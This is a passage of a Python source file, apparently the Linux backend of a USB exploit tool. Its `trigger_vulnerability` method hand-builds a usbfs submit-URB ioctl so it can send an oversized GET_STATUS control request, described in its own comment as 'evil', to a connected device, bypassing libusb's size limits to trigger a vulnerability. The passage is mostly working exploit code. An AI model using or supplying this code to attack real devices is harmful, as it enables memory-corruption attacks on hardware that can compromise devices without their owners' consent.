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by the usbfs. More realistically, the usbfs seems fine with it, and we just
need to work around libusb.
"""
BACKEND_NAME = "Linux"
SUPPORTED_SYSTEMS = ['Linux', 'linux']
SUPPORTED_USB_CONTROLLERS = ['pci/drivers/xhci_hcd', 'platform/drivers/dwc_otg']
SETUP_PACKET_SIZE = 8
IOCTL_IOR = 0x80000000
IOCTL_TYPE = ord('U')
IOCTL_NR_SUBMIT_URB = 10
URB_CONTROL_REQUEST = 2
class SubmitURBIoctl(ctypes.Structure):
_fields_ = [
('type', ctypes.c_ubyte),
('endpoint', ctypes.c_ubyte),
('status', ctypes.c_int),
('flags', ctypes.c_uint),
('buffer', ctypes.c_void_p),
('buffer_length', ctypes.c_int),
('actual_length', ctypes.c_int),
('start_frame', ctypes.c_int),
('stream_id', ctypes.c_uint),
('error_count', ctypes.c_int),
('signr', ctypes.c_uint),
('usercontext', ctypes.c_void_p),
]
def print_warnings(self):
""" Print any warnings necessary for the given backend. """
print("\nImportant note: on desktop Linux systems, we currently require an XHCI host controller.")
print("A good way to ensure you're likely using an XHCI backend is to plug your")
print("device into a blue 'USB 3' port.\n")
def trigger_vulnerability(self, length):
"""
Submit the control request directly using the USBFS submit_urb
ioctl, which issues the control request directly. This allows us
to send our giant control request despite size limitations.
"""
import os
import fcntl
# We only work for devices that are bound to a compatible HCD.
self._validate_environment()
# Figure out the USB device file we're going to use to issue the
# control request.
fd = os.open('/dev/bus/usb/{:0>3d}/{:0>3d}'.format(self.dev.bus, self.dev.address), os.O_RDWR)
# Define the setup packet to be submitted.
setup_packet = \
int.to_bytes(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, 1, byteorder='little') + \
int.to_bytes(self.GET_STATUS, 1, byteorder='little') + \
int.to_bytes(0, 2, byteorder='little') + \
int.to_bytes(0, 2, byteorder='little') + \
int.to_bytes(length, 2, byteorder='little')
# Create a buffer to hold the result.
buffer_size = self.SETUP_PACKET_SIZE + length
buffer = ctypes.create_string_buffer(setup_packet, buffer_size)
# Define the data structure used to issue the control request URB.
request = self.SubmitURBIoctl()
request.type = self.URB_CONTROL_REQUEST
request.endpoint = 0
request.buffer = ctypes.addressof(buffer)
request.buffer_length = buffer_size
# Manually submit an URB to the kernel, so it issues our 'evil' control request.
ioctl_number = (self.IOCTL_IOR | ctypes.sizeof(request) << 16 | ord('U') << 8 | self.IOCTL_NR_SUBMIT_URB)
fcntl.ioctl(fd, ioctl_number, request, True)
# Close our newly created fd.
os.close(fd)
# The other modules raise an IOError when the control request fails to complete. We don't fail out (as we don't bother
# reading back), so we'll simulate the same behavior as the others.
raise IOError("Raising an error to match the others!")
def _validate_environment(self):
"""
We can only inject giant control requests on devices that are backed
by certain usb controllers-- typically, the xhci_hcd on most PCs.
"""
from glob import glob
# If we're overriding checks, never fail out.
if self.skip_checks:
print("skipping checks")
return